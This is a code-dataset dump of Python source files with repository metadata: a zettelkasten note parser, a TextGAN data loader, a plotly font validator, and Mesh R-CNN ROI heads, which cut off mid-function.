self.last_update_date = date.strftime("%Y-%m-%d")
def add_backlinks(self, sources):
def is_valid(source):
return (
self.path != source.abs_src_path
and source not in self.backlinks
and source.is_zettel
)
self.backlinks = [s for s in sources if is_valid(s)]
def _get_date_from_string(string):
string = str(string)
try:
date = datetime.datetime.strptime(string, "%Y-%m-%d %H:%M:%S")
except ValueError:
try:
date = datetime.datetime.strptime(string, "%Y%m%d%H%M%S")
except ValueError:
try:
date = datetime.datetime.fromisoformat(string)
except ValueError:
date = ""
return date
| 31.84507 | 88 | 0.534277 | import datetime
import os
import re
import yaml
from pathlib import Path
from plugin.patterns import WIKI_LINK, MD_LINK
from plugin.gitutil import GitUtil
class Zettel:
def __init__(self, abs_src_path):
self.id = 0
self.title = ""
self.path = abs_src_path
self.backlinks = []
self.links = []
self._parse_file()
def _parse_file(self):
header = []
is_reading_header = False
is_reading_body = False
alternative_title = ""
try:
with open(self.path, encoding="utf-8-sig", errors="strict") as f:
while line := f.readline():
if line.strip() == "---":
if not is_reading_header and not is_reading_body:
is_reading_header = True
continue
elif not is_reading_body:
is_reading_header = False
is_reading_body = True
continue
else:
break
if is_reading_header:
header.append(line)
if is_reading_body:
if line.lstrip().startswith("# "):
alternative_title = line.strip()[2:]
match_wiki_link = WIKI_LINK.finditer(line)
match_md_link = MD_LINK.finditer(line)
for m in match_wiki_link:
self.links.append(m.groupdict()["url"])
for m in match_md_link:
self.links.append(m.groupdict()["url"])
meta = yaml.load("".join(header), Loader=yaml.FullLoader)
except OSError:
raise ValueError("File is not in zettel format")
except ValueError:
raise ValueError("File is not in zettel format")
except AttributeError:
raise ValueError("File is not in zettel format")
self._set_metadata(meta, alternative_title)
def _set_metadata(self, meta, alternative_title):
if not meta or "id" not in meta.keys():
raise ValueError("File is not in zettel format")
else:
self.id = meta["id"]
if "title" in meta.keys():
self.title = meta["title"]
elif alternative_title:
print("Using alternative title " + self.path)
self.title = alternative_title
else:
self.title = self._get_title_from_filename()
self._set_last_update_date(meta)
def _get_title_from_filename(self):
title = Path(self.path).stem
title = re.sub(r"^\d{14}", "", title)
title = title.replace("_", " ").replace("-", " ")
title = " ".join(title.split())
title = title.strip()
title = title.capitalize()
return title
def _set_last_update_date(self, meta):
date = ""
if "last_update" in meta.keys():
date = _get_date_from_string(meta["last_update"])
if not date and "date" in meta.keys():
date = _get_date_from_string(meta["date"])
if not date:
date = _get_date_from_string(self.id)
if not date:
date = datetime.datetime.today()
if "//github.com" in self.path or "//gitlab.com" in self.path:
git = GitUtil()
revision_date = git.get_revision_date_for_file(self.path)
else:
revision_date = datetime.datetime.fromtimestamp(os.path.getmtime(self.path))
if revision_date.timestamp() > date.timestamp():
date = revision_date
self.last_update_date = date.strftime("%Y-%m-%d")
def add_backlinks(self, sources):
def is_valid(source):
return (
self.path != source.abs_src_path
and source not in self.backlinks
and source.is_zettel
)
self.backlinks = [s for s in sources if is_valid(s)]
def _get_date_from_string(string):
string = str(string)
try:
date = datetime.datetime.strptime(string, "%Y-%m-%d %H:%M:%S")
except ValueError:
try:
date = datetime.datetime.strptime(string, "%Y%m%d%H%M%S")
except ValueError:
try:
date = datetime.datetime.fromisoformat(string)
except ValueError:
date = ""
return date
| true | true |
f72639a5ff51641e1d986f7c27245a78928e246f | 4,440 | py | Python | src/utils/data_loader.py | TheBlueHawk/RANLP21-70 | 3d329a6d385fac4e8664cb1bb88a29411befb767 | [
"MIT"
] | null | null | null | src/utils/data_loader.py | TheBlueHawk/RANLP21-70 | 3d329a6d385fac4e8664cb1bb88a29411befb767 | [
"MIT"
] | null | null | null | src/utils/data_loader.py | TheBlueHawk/RANLP21-70 | 3d329a6d385fac4e8664cb1bb88a29411befb767 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# @Author : William
# @Project : TextGAN-william
# @FileName : data_loader.py
# @Time : Created at 2019-05-31
# @Blog : http://zhiweil.ml/
# @Description :
# Copyrights (C) 2018. All Rights Reserved.
import random
from torch.utils.data import Dataset, DataLoader
from utils.text_process import *
class GANDataset(Dataset):
def __init__(self, data):
self.data = data
def __getitem__(self, index):
return self.data[index]
def __len__(self):
return len(self.data)
class GenDataIter:
def __init__(self, samples, if_test_data=False, shuffle=None):
self.batch_size = cfg.batch_size
self.max_seq_len = cfg.max_seq_len
self.start_letter = cfg.start_letter
self.shuffle = cfg.data_shuffle if not shuffle else shuffle
if cfg.if_real_data:
self.word2idx_dict, self.idx2word_dict = load_dict(cfg.dataset)
if if_test_data: # used for the classifier
self.word2idx_dict, self.idx2word_dict = load_test_dict(cfg.dataset)
self.loader = DataLoader(
dataset=GANDataset(self.__read_data__(samples)),
batch_size=self.batch_size,
shuffle=self.shuffle,
drop_last=True)
self.input = self._all_data_('input')
self.target = self._all_data_('target')
def __read_data__(self, samples):
"""
input: same as target, but start with start_letter.
"""
# global all_data
if isinstance(samples, torch.Tensor): # Tensor
inp, target = self.prepare(samples)
all_data = [{'input': i, 'target': t} for (i, t) in zip(inp, target)]
elif isinstance(samples, str): # filename
inp, target = self.load_data(samples)
all_data = [{'input': i, 'target': t} for (i, t) in zip(inp, target)]
else:
all_data = None
return all_data
def random_batch(self):
"""Randomly choose a batch from loader, please note that the data should not be shuffled."""
idx = random.randint(0, len(self.loader) - 1)
return list(self.loader)[idx]
def _all_data_(self, col):
return torch.cat([data[col].unsqueeze(0) for data in self.loader.dataset.data], 0)
@staticmethod
def prepare(samples, gpu=False):
"""Add start_letter to samples as inp, target same as samples"""
inp = torch.zeros(samples.size()).long()
target = samples
inp[:, 0] = cfg.start_letter
inp[:, 1:] = target[:, :cfg.max_seq_len - 1]
#print(f"dataloader inp: {inp[0][:]}")
#print(f"dataloader target: {target[0][:]}")
if gpu:
return inp.cuda(), target.cuda()
return inp, target
def load_data(self, filename):
"""Load real data from local file"""
self.tokens = get_tokenlized(filename)
samples_index = tokens_to_tensor(self.tokens, self.word2idx_dict)
return self.prepare(samples_index)
class DisDataIter:
def __init__(self, pos_samples, neg_samples, shuffle=None):
self.batch_size = cfg.batch_size
self.max_seq_len = cfg.max_seq_len
self.start_letter = cfg.start_letter
self.shuffle = cfg.data_shuffle if not shuffle else shuffle
self.loader = DataLoader(
dataset=GANDataset(self.__read_data__(pos_samples, neg_samples)),
batch_size=self.batch_size,
shuffle=self.shuffle,
drop_last=True)
def __read_data__(self, pos_samples, neg_samples):
"""
input: same as target, but start with start_letter.
"""
inp, target = self.prepare(pos_samples, neg_samples)
all_data = [{'input': i, 'target': t} for (i, t) in zip(inp, target)]
return all_data
def random_batch(self):
idx = random.randint(0, len(self.loader) - 1)
return list(self.loader)[idx]
def prepare(self, pos_samples, neg_samples, gpu=False):
"""Build inp and target"""
inp = torch.cat((pos_samples, neg_samples), dim=0).long().detach() # !!!need .detach()
target = torch.ones(inp.size(0)).long()
target[pos_samples.size(0):] = 0
# shuffle
perm = torch.randperm(inp.size(0))
inp = inp[perm]
target = target[perm]
if gpu:
return inp.cuda(), target.cuda()
return inp, target
| 33.89313 | 100 | 0.611486 |
import random
from torch.utils.data import Dataset, DataLoader
from utils.text_process import *
class GANDataset(Dataset):
def __init__(self, data):
self.data = data
def __getitem__(self, index):
return self.data[index]
def __len__(self):
return len(self.data)
class GenDataIter:
def __init__(self, samples, if_test_data=False, shuffle=None):
self.batch_size = cfg.batch_size
self.max_seq_len = cfg.max_seq_len
self.start_letter = cfg.start_letter
self.shuffle = cfg.data_shuffle if not shuffle else shuffle
if cfg.if_real_data:
self.word2idx_dict, self.idx2word_dict = load_dict(cfg.dataset)
if if_test_data:
self.word2idx_dict, self.idx2word_dict = load_test_dict(cfg.dataset)
self.loader = DataLoader(
dataset=GANDataset(self.__read_data__(samples)),
batch_size=self.batch_size,
shuffle=self.shuffle,
drop_last=True)
self.input = self._all_data_('input')
self.target = self._all_data_('target')
def __read_data__(self, samples):
if isinstance(samples, torch.Tensor):
inp, target = self.prepare(samples)
all_data = [{'input': i, 'target': t} for (i, t) in zip(inp, target)]
elif isinstance(samples, str):
inp, target = self.load_data(samples)
all_data = [{'input': i, 'target': t} for (i, t) in zip(inp, target)]
else:
all_data = None
return all_data
def random_batch(self):
idx = random.randint(0, len(self.loader) - 1)
return list(self.loader)[idx]
def _all_data_(self, col):
return torch.cat([data[col].unsqueeze(0) for data in self.loader.dataset.data], 0)
@staticmethod
def prepare(samples, gpu=False):
inp = torch.zeros(samples.size()).long()
target = samples
inp[:, 0] = cfg.start_letter
inp[:, 1:] = target[:, :cfg.max_seq_len - 1]
if gpu:
return inp.cuda(), target.cuda()
return inp, target
def load_data(self, filename):
self.tokens = get_tokenlized(filename)
samples_index = tokens_to_tensor(self.tokens, self.word2idx_dict)
return self.prepare(samples_index)
class DisDataIter:
def __init__(self, pos_samples, neg_samples, shuffle=None):
self.batch_size = cfg.batch_size
self.max_seq_len = cfg.max_seq_len
self.start_letter = cfg.start_letter
self.shuffle = cfg.data_shuffle if not shuffle else shuffle
self.loader = DataLoader(
dataset=GANDataset(self.__read_data__(pos_samples, neg_samples)),
batch_size=self.batch_size,
shuffle=self.shuffle,
drop_last=True)
def __read_data__(self, pos_samples, neg_samples):
inp, target = self.prepare(pos_samples, neg_samples)
all_data = [{'input': i, 'target': t} for (i, t) in zip(inp, target)]
return all_data
def random_batch(self):
idx = random.randint(0, len(self.loader) - 1)
return list(self.loader)[idx]
def prepare(self, pos_samples, neg_samples, gpu=False):
inp = torch.cat((pos_samples, neg_samples), dim=0).long().detach()
target = torch.ones(inp.size(0)).long()
target[pos_samples.size(0):] = 0
perm = torch.randperm(inp.size(0))
inp = inp[perm]
target = target[perm]
if gpu:
return inp.cuda(), target.cuda()
return inp, target
| true | true |
f7263b27e2f8e5f7ffa8f4a9687f2edbb569a9d1 | 598 | py | Python | plotly/validators/mesh3d/colorbar/tickfont/_family.py | gnestor/plotly.py | a8ae062795ddbf9867b8578fe6d9e244948c15ff | [
"MIT"
] | 12 | 2020-04-18T18:10:22.000Z | 2021-12-06T10:11:15.000Z | plotly/validators/mesh3d/colorbar/tickfont/_family.py | gnestor/plotly.py | a8ae062795ddbf9867b8578fe6d9e244948c15ff | [
"MIT"
] | 27 | 2020-04-28T21:23:12.000Z | 2021-06-25T15:36:38.000Z | plotly/validators/mesh3d/colorbar/tickfont/_family.py | gnestor/plotly.py | a8ae062795ddbf9867b8578fe6d9e244948c15ff | [
"MIT"
] | 6 | 2020-04-18T23:07:08.000Z | 2021-11-18T07:53:06.000Z | import _plotly_utils.basevalidators
class FamilyValidator(_plotly_utils.basevalidators.StringValidator):
def __init__(
self,
plotly_name='family',
parent_name='mesh3d.colorbar.tickfont',
**kwargs
):
super(FamilyValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop('edit_type', 'colorbars'),
no_blank=kwargs.pop('no_blank', True),
role=kwargs.pop('role', 'style'),
strict=kwargs.pop('strict', True),
**kwargs
)
| 28.47619 | 68 | 0.602007 | import _plotly_utils.basevalidators
class FamilyValidator(_plotly_utils.basevalidators.StringValidator):
def __init__(
self,
plotly_name='family',
parent_name='mesh3d.colorbar.tickfont',
**kwargs
):
super(FamilyValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop('edit_type', 'colorbars'),
no_blank=kwargs.pop('no_blank', True),
role=kwargs.pop('role', 'style'),
strict=kwargs.pop('strict', True),
**kwargs
)
| true | true |
f7263ccf5a3a003b21440cf38813ca5d254016b4 | 15,637 | py | Python | meshrcnn/modeling/roi_heads/roi_heads.py | hsk9767/mesh_rcnn_copy | 6dd4d9ea8af33c03a084e34c7d16eeaddfe924ae | [
"BSD-3-Clause"
] | 7 | 2020-03-06T20:49:36.000Z | 2022-03-09T11:09:31.000Z | meshrcnn/modeling/roi_heads/roi_heads.py | hsk9767/mesh_rcnn_copy | 6dd4d9ea8af33c03a084e34c7d16eeaddfe924ae | [
"BSD-3-Clause"
] | null | null | null | meshrcnn/modeling/roi_heads/roi_heads.py | hsk9767/mesh_rcnn_copy | 6dd4d9ea8af33c03a084e34c7d16eeaddfe924ae | [
"BSD-3-Clause"
] | 2 | 2020-04-14T02:14:25.000Z | 2020-05-06T14:35:41.000Z | # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
from typing import Dict
import torch
from detectron2.layers import ShapeSpec, cat
from detectron2.modeling import ROI_HEADS_REGISTRY
from detectron2.modeling.poolers import ROIPooler
from detectron2.modeling.roi_heads.fast_rcnn import FastRCNNOutputLayers, FastRCNNOutputs
from detectron2.modeling.roi_heads.roi_heads import StandardROIHeads, select_foreground_proposals
from pytorch3d.ops import cubify
from pytorch3d.structures import Meshes
from pytorch3d.utils import ico_sphere
from meshrcnn.modeling.roi_heads.mask_head import mask_rcnn_loss
from meshrcnn.modeling.roi_heads.mesh_head import (
build_mesh_head,
mesh_rcnn_inference,
mesh_rcnn_loss,
)
from meshrcnn.modeling.roi_heads.voxel_head import (
build_voxel_head,
voxel_rcnn_inference,
voxel_rcnn_loss,
)
from meshrcnn.modeling.roi_heads.z_head import build_z_head, z_rcnn_inference, z_rcnn_loss
from meshrcnn.utils import vis as vis_utils
@ROI_HEADS_REGISTRY.register()
class MeshRCNNROIHeads(StandardROIHeads):
"""
The ROI specific heads for Mesh R-CNN
"""
def __init__(self, cfg, input_shape: Dict[str, ShapeSpec]):
super().__init__(cfg, input_shape)
self._init_z_head(cfg, input_shape)
self._init_voxel_head(cfg, input_shape)
self._init_mesh_head(cfg, input_shape)
# If MODEL.VIS_MINIBATCH is True we store minibatch targets
# for visualization purposes
self._vis = cfg.MODEL.VIS_MINIBATCH
self._misc = {}
self._vis_dir = cfg.OUTPUT_DIR
def _init_z_head(self, cfg, input_shape):
# fmt: off
self.zpred_on = cfg.MODEL.ZPRED_ON
if not self.zpred_on:
return
z_pooler_resolution = cfg.MODEL.ROI_Z_HEAD.POOLER_RESOLUTION
z_pooler_scales = tuple(1.0 / input_shape[k].stride for k in self.in_features)
z_sampling_ratio = cfg.MODEL.ROI_Z_HEAD.POOLER_SAMPLING_RATIO
z_pooler_type = cfg.MODEL.ROI_Z_HEAD.POOLER_TYPE
# fmt: on
self.z_loss_weight = cfg.MODEL.ROI_Z_HEAD.Z_REG_WEIGHT
self.z_smooth_l1_beta = cfg.MODEL.ROI_Z_HEAD.SMOOTH_L1_BETA
in_channels = [input_shape[f].channels for f in self.in_features][0]
self.z_pooler = ROIPooler(
output_size=z_pooler_resolution,
scales=z_pooler_scales,
sampling_ratio=z_sampling_ratio,
pooler_type=z_pooler_type,
)
shape = ShapeSpec(
channels=in_channels, width=z_pooler_resolution, height=z_pooler_resolution
)
self.z_head = build_z_head(cfg, shape)
def _init_voxel_head(self, cfg, input_shape):
# fmt: off
self.voxel_on = cfg.MODEL.VOXEL_ON
if not self.voxel_on:
return
voxel_pooler_resolution = cfg.MODEL.ROI_VOXEL_HEAD.POOLER_RESOLUTION
voxel_pooler_scales = tuple(1.0 / input_shape[k].stride for k in self.in_features)
voxel_sampling_ratio = cfg.MODEL.ROI_VOXEL_HEAD.POOLER_SAMPLING_RATIO
voxel_pooler_type = cfg.MODEL.ROI_VOXEL_HEAD.POOLER_TYPE
# fmt: on
self.voxel_loss_weight = cfg.MODEL.ROI_VOXEL_HEAD.LOSS_WEIGHT
self.cls_agnostic_voxel = cfg.MODEL.ROI_VOXEL_HEAD.CLS_AGNOSTIC_VOXEL
self.cubify_thresh = cfg.MODEL.ROI_VOXEL_HEAD.CUBIFY_THRESH
in_channels = [input_shape[f].channels for f in self.in_features][0]
self.voxel_pooler = ROIPooler(
output_size=voxel_pooler_resolution,
scales=voxel_pooler_scales,
sampling_ratio=voxel_sampling_ratio,
pooler_type=voxel_pooler_type,
)
shape = ShapeSpec(
channels=in_channels, width=voxel_pooler_resolution, height=voxel_pooler_resolution
)
self.voxel_head = build_voxel_head(cfg, shape)
def _init_mesh_head(self, cfg, input_shape):
# fmt: off
self.mesh_on = cfg.MODEL.MESH_ON
if not self.mesh_on:
return
mesh_pooler_resolution = cfg.MODEL.ROI_MESH_HEAD.POOLER_RESOLUTION
mesh_pooler_scales = tuple(1.0 / input_shape[k].stride for k in self.in_features)
mesh_sampling_ratio = cfg.MODEL.ROI_MESH_HEAD.POOLER_SAMPLING_RATIO
mesh_pooler_type = cfg.MODEL.ROI_MESH_HEAD.POOLER_TYPE
# fmt: on
self.chamfer_loss_weight = cfg.MODEL.ROI_MESH_HEAD.CHAMFER_LOSS_WEIGHT
self.normals_loss_weight = cfg.MODEL.ROI_MESH_HEAD.NORMALS_LOSS_WEIGHT
self.edge_loss_weight = cfg.MODEL.ROI_MESH_HEAD.EDGE_LOSS_WEIGHT
self.gt_num_samples = cfg.MODEL.ROI_MESH_HEAD.GT_NUM_SAMPLES
self.pred_num_samples = cfg.MODEL.ROI_MESH_HEAD.PRED_NUM_SAMPLES
self.gt_coord_thresh = cfg.MODEL.ROI_MESH_HEAD.GT_COORD_THRESH
self.ico_sphere_level = cfg.MODEL.ROI_MESH_HEAD.ICO_SPHERE_LEVEL
in_channels = [input_shape[f].channels for f in self.in_features][0]
self.mesh_pooler = ROIPooler(
output_size=mesh_pooler_resolution,
scales=mesh_pooler_scales,
sampling_ratio=mesh_sampling_ratio,
pooler_type=mesh_pooler_type,
)
self.mesh_head = build_mesh_head(
cfg,
ShapeSpec(
channels=in_channels, height=mesh_pooler_resolution, width=mesh_pooler_resolution
),
)
def forward(self, images, features, proposals, targets=None):
"""
See :class:`ROIHeads.forward`.
"""
if self._vis:
self._misc["images"] = images
del images
if self.training:
proposals = self.label_and_sample_proposals(proposals, targets)
del targets
if self._vis:
self._misc["proposals"] = proposals
if self.training:
losses = self._forward_box(features, proposals)
# During training the proposals used by the box head are
# used by the z, mask, voxel & mesh head.
losses.update(self._forward_z(features, proposals))
losses.update(self._forward_mask(features, proposals))
losses.update(self._forward_shape(features, proposals))
# print minibatch examples
if self._vis:
vis_utils.visualize_minibatch(self._misc["images"], self._misc, self._vis_dir, True)
return [], losses
else:
pred_instances = self._forward_box(features, proposals)
# During inference cascaded prediction is used: the mask and keypoints heads are only
# applied to the top scoring box detections.
pred_instances = self.forward_with_given_boxes(features, pred_instances)
return pred_instances, {}
def forward_with_given_boxes(self, features, instances):
"""
Use the given boxes in `instances` to produce other (non-box) per-ROI outputs.
Args:
features: same as in `forward()`
instances (list[Instances]): instances to predict other outputs. Expect the keys
"pred_boxes" and "pred_classes" to exist.
Returns:
instances (Instances): the same `Instances` object, with extra
fields such as `pred_masks` or `pred_voxels`.
"""
assert not self.training
assert instances[0].has("pred_boxes") and instances[0].has("pred_classes")
instances = self._forward_z(features, instances)
instances = self._forward_mask(features, instances)
instances = self._forward_shape(features, instances)
return instances
def _forward_z(self, features, instances):
"""
Forward logic of the z prediction branch.
"""
if not self.zpred_on:
return {} if self.training else instances
features = [features[f] for f in self.in_features]
if self.training:
# The loss is only defined on positive proposals.
proposals, _ = select_foreground_proposals(instances, self.num_classes)
proposal_boxes = [x.proposal_boxes for x in proposals]
z_features = self.z_pooler(features, proposal_boxes)
z_pred = self.z_head(z_features)
src_boxes = cat([p.tensor for p in proposal_boxes])
loss_z_reg = z_rcnn_loss(
z_pred,
proposals,
src_boxes,
loss_weight=self.z_loss_weight,
smooth_l1_beta=self.z_smooth_l1_beta,
)
return {"loss_z_reg": loss_z_reg}
else:
pred_boxes = [x.pred_boxes for x in instances]
z_features = self.z_pooler(features, pred_boxes)
z_pred = self.z_head(z_features)
z_rcnn_inference(z_pred, instances)
return instances
def _forward_mask(self, features, instances):
"""
Forward logic of the mask prediction branch.
Args:
features (dict[str,Tensor]): mapping from names to backbone features
instances (list[Instances]): the per-image instances to train/predict masks.
In training, they can be the proposals.
In inference, they can be the predicted boxes.
Returns:
In training, a dict of losses.
In inference, update `instances` with new fields "pred_masks" and return it.
"""
if not self.mask_on:
return {} if self.training else instances
features = [features[f] for f in self.in_features]
if self.training:
# The loss is only defined on positive proposals.
proposals, _ = select_foreground_proposals(instances, self.num_classes)
proposal_boxes = [x.proposal_boxes for x in proposals]
mask_features = self.mask_pooler(features, proposal_boxes)
mask_logits = self.mask_head.layers(mask_features)
loss_mask, target_masks = mask_rcnn_loss(mask_logits, proposals)
if self._vis:
self._misc["target_masks"] = target_masks
self._misc["fg_proposals"] = proposals
return {"loss_mask": loss_mask}
else:
pred_boxes = [x.pred_boxes for x in instances]
mask_features = self.mask_pooler(features, pred_boxes)
return self.mask_head(mask_features, instances)
def _forward_shape(self, features, instances):
"""
Forward logic for the voxel and mesh refinement branch.
Args:
features (list[Tensor]): #level input features for voxel prediction
instances (list[Instances]): the per-image instances to train/predict meshes.
In training, they can be the proposals.
In inference, they can be the predicted boxes.
Returns:
In training, a dict of losses.
In inference, update `instances` with new fields "pred_voxels" & "pred_meshes" and return it.
"""
if not self.voxel_on and not self.mesh_on:
return {} if self.training else instances
features = [features[f] for f in self.in_features]
if self.training:
# The loss is only defined on positive proposals.
proposals, _ = select_foreground_proposals(instances, self.num_classes)
proposal_boxes = [x.proposal_boxes for x in proposals]
losses = {}
if self.voxel_on:
voxel_features = self.voxel_pooler(features, proposal_boxes)
voxel_logits = self.voxel_head(voxel_features)
loss_voxel, target_voxels = voxel_rcnn_loss(
voxel_logits, proposals, loss_weight=self.voxel_loss_weight
)
losses.update({"loss_voxel": loss_voxel})
if self._vis:
self._misc["target_voxels"] = target_voxels
if self.cls_agnostic_voxel:
with torch.no_grad():
vox_in = voxel_logits.sigmoid().squeeze(1) # (N, V, V, V)
init_mesh = cubify(vox_in, self.cubify_thresh) # 1
else:
raise ValueError("No support for class specific predictions")
if self.mesh_on:
mesh_features = self.mesh_pooler(features, proposal_boxes)
if not self.voxel_on:
if mesh_features.shape[0] > 0:
init_mesh = ico_sphere(self.ico_sphere_level, mesh_features.device)
init_mesh = init_mesh.extend(mesh_features.shape[0])
else:
init_mesh = Meshes(verts=[], faces=[])
pred_meshes = self.mesh_head(mesh_features, init_mesh)
# loss weights
loss_weights = {
"chamfer": self.chamfer_loss_weight,
"normals": self.normals_loss_weight,
"edge": self.edge_loss_weight,
}
if not pred_meshes[0].isempty():
loss_chamfer, loss_normals, loss_edge, target_meshes = mesh_rcnn_loss(
pred_meshes,
proposals,
loss_weights=loss_weights,
gt_num_samples=self.gt_num_samples,
pred_num_samples=self.pred_num_samples,
gt_coord_thresh=self.gt_coord_thresh,
)
if self._vis:
self._misc["init_meshes"] = init_mesh
self._misc["target_meshes"] = target_meshes
else:
loss_chamfer = sum(k.sum() for k in self.mesh_head.parameters()) * 0.0
loss_normals = sum(k.sum() for k in self.mesh_head.parameters()) * 0.0
loss_edge = sum(k.sum() for k in self.mesh_head.parameters()) * 0.0
losses.update(
{
"loss_chamfer": loss_chamfer,
"loss_normals": loss_normals,
"loss_edge": loss_edge,
}
)
return losses
else:
pred_boxes = [x.pred_boxes for x in instances]
if self.voxel_on:
voxel_features = self.voxel_pooler(features, pred_boxes)
voxel_logits = self.voxel_head(voxel_features)
voxel_rcnn_inference(voxel_logits, instances)
if self.cls_agnostic_voxel:
with torch.no_grad():
vox_in = voxel_logits.sigmoid().squeeze(1) # (N, V, V, V)
init_mesh = cubify(vox_in, self.cubify_thresh) # 1
else:
raise ValueError("No support for class specific predictions")
if self.mesh_on:
mesh_features = self.mesh_pooler(features, pred_boxes)
if not self.voxel_on:
if mesh_features.shape[0] > 0:
init_mesh = ico_sphere(self.ico_sphere_level, mesh_features.device)
init_mesh = init_mesh.extend(mesh_features.shape[0])
else:
init_mesh = Meshes(verts=[], faces=[])
pred_meshes = self.mesh_head(mesh_features, init_mesh)
mesh_rcnn_inference(pred_meshes[-1], instances)
else:
assert self.voxel_on
mesh_rcnn_inference(init_mesh, instances)
return instances
| 42.841096 | 105 | 0.616039 |
from typing import Dict
import torch
from detectron2.layers import ShapeSpec, cat
from detectron2.modeling import ROI_HEADS_REGISTRY
from detectron2.modeling.poolers import ROIPooler
from detectron2.modeling.roi_heads.fast_rcnn import FastRCNNOutputLayers, FastRCNNOutputs
from detectron2.modeling.roi_heads.roi_heads import StandardROIHeads, select_foreground_proposals
from pytorch3d.ops import cubify
from pytorch3d.structures import Meshes
from pytorch3d.utils import ico_sphere
from meshrcnn.modeling.roi_heads.mask_head import mask_rcnn_loss
from meshrcnn.modeling.roi_heads.mesh_head import (
build_mesh_head,
mesh_rcnn_inference,
mesh_rcnn_loss,
)
from meshrcnn.modeling.roi_heads.voxel_head import (
build_voxel_head,
voxel_rcnn_inference,
voxel_rcnn_loss,
)
from meshrcnn.modeling.roi_heads.z_head import build_z_head, z_rcnn_inference, z_rcnn_loss
from meshrcnn.utils import vis as vis_utils
@ROI_HEADS_REGISTRY.register()
class MeshRCNNROIHeads(StandardROIHeads):
def __init__(self, cfg, input_shape: Dict[str, ShapeSpec]):
super().__init__(cfg, input_shape)
self._init_z_head(cfg, input_shape)
self._init_voxel_head(cfg, input_shape)
self._init_mesh_head(cfg, input_shape)
self._vis = cfg.MODEL.VIS_MINIBATCH
self._misc = {}
self._vis_dir = cfg.OUTPUT_DIR
def _init_z_head(self, cfg, input_shape):
self.zpred_on = cfg.MODEL.ZPRED_ON
if not self.zpred_on:
return
z_pooler_resolution = cfg.MODEL.ROI_Z_HEAD.POOLER_RESOLUTION
z_pooler_scales = tuple(1.0 / input_shape[k].stride for k in self.in_features)
z_sampling_ratio = cfg.MODEL.ROI_Z_HEAD.POOLER_SAMPLING_RATIO
z_pooler_type = cfg.MODEL.ROI_Z_HEAD.POOLER_TYPE
self.z_loss_weight = cfg.MODEL.ROI_Z_HEAD.Z_REG_WEIGHT
self.z_smooth_l1_beta = cfg.MODEL.ROI_Z_HEAD.SMOOTH_L1_BETA
in_channels = [input_shape[f].channels for f in self.in_features][0]
self.z_pooler = ROIPooler(
output_size=z_pooler_resolution,
scales=z_pooler_scales,
sampling_ratio=z_sampling_ratio,
pooler_type=z_pooler_type,
)
shape = ShapeSpec(
channels=in_channels, width=z_pooler_resolution, height=z_pooler_resolution
)
self.z_head = build_z_head(cfg, shape)
def _init_voxel_head(self, cfg, input_shape):
self.voxel_on = cfg.MODEL.VOXEL_ON
if not self.voxel_on:
return
voxel_pooler_resolution = cfg.MODEL.ROI_VOXEL_HEAD.POOLER_RESOLUTION
voxel_pooler_scales = tuple(1.0 / input_shape[k].stride for k in self.in_features)
voxel_sampling_ratio = cfg.MODEL.ROI_VOXEL_HEAD.POOLER_SAMPLING_RATIO
voxel_pooler_type = cfg.MODEL.ROI_VOXEL_HEAD.POOLER_TYPE
self.voxel_loss_weight = cfg.MODEL.ROI_VOXEL_HEAD.LOSS_WEIGHT
self.cls_agnostic_voxel = cfg.MODEL.ROI_VOXEL_HEAD.CLS_AGNOSTIC_VOXEL
self.cubify_thresh = cfg.MODEL.ROI_VOXEL_HEAD.CUBIFY_THRESH
in_channels = [input_shape[f].channels for f in self.in_features][0]
self.voxel_pooler = ROIPooler(
output_size=voxel_pooler_resolution,
scales=voxel_pooler_scales,
sampling_ratio=voxel_sampling_ratio,
pooler_type=voxel_pooler_type,
)
shape = ShapeSpec(
channels=in_channels, width=voxel_pooler_resolution, height=voxel_pooler_resolution
)
self.voxel_head = build_voxel_head(cfg, shape)
def _init_mesh_head(self, cfg, input_shape):
self.mesh_on = cfg.MODEL.MESH_ON
if not self.mesh_on:
return
mesh_pooler_resolution = cfg.MODEL.ROI_MESH_HEAD.POOLER_RESOLUTION
mesh_pooler_scales = tuple(1.0 / input_shape[k].stride for k in self.in_features)
mesh_sampling_ratio = cfg.MODEL.ROI_MESH_HEAD.POOLER_SAMPLING_RATIO
mesh_pooler_type = cfg.MODEL.ROI_MESH_HEAD.POOLER_TYPE
self.chamfer_loss_weight = cfg.MODEL.ROI_MESH_HEAD.CHAMFER_LOSS_WEIGHT
self.normals_loss_weight = cfg.MODEL.ROI_MESH_HEAD.NORMALS_LOSS_WEIGHT
self.edge_loss_weight = cfg.MODEL.ROI_MESH_HEAD.EDGE_LOSS_WEIGHT
self.gt_num_samples = cfg.MODEL.ROI_MESH_HEAD.GT_NUM_SAMPLES
self.pred_num_samples = cfg.MODEL.ROI_MESH_HEAD.PRED_NUM_SAMPLES
self.gt_coord_thresh = cfg.MODEL.ROI_MESH_HEAD.GT_COORD_THRESH
self.ico_sphere_level = cfg.MODEL.ROI_MESH_HEAD.ICO_SPHERE_LEVEL
in_channels = [input_shape[f].channels for f in self.in_features][0]
self.mesh_pooler = ROIPooler(
output_size=mesh_pooler_resolution,
scales=mesh_pooler_scales,
sampling_ratio=mesh_sampling_ratio,
pooler_type=mesh_pooler_type,
)
self.mesh_head = build_mesh_head(
cfg,
ShapeSpec(
channels=in_channels, height=mesh_pooler_resolution, width=mesh_pooler_resolution
),
)
def forward(self, images, features, proposals, targets=None):
if self._vis:
self._misc["images"] = images
del images
if self.training:
proposals = self.label_and_sample_proposals(proposals, targets)
del targets
if self._vis:
self._misc["proposals"] = proposals
if self.training:
losses = self._forward_box(features, proposals)
losses.update(self._forward_z(features, proposals))
losses.update(self._forward_mask(features, proposals))
losses.update(self._forward_shape(features, proposals))
if self._vis:
vis_utils.visualize_minibatch(self._misc["images"], self._misc, self._vis_dir, True)
return [], losses
else:
pred_instances = self._forward_box(features, proposals)
pred_instances = self.forward_with_given_boxes(features, pred_instances)
return pred_instances, {}
def forward_with_given_boxes(self, features, instances):
assert not self.training
assert instances[0].has("pred_boxes") and instances[0].has("pred_classes")
instances = self._forward_z(features, instances)
instances = self._forward_mask(features, instances)
instances = self._forward_shape(features, instances)
return instances
def _forward_z(self, features, instances):
if not self.zpred_on:
return {} if self.training else instances
features = [features[f] for f in self.in_features]
if self.training:
proposals, _ = select_foreground_proposals(instances, self.num_classes)
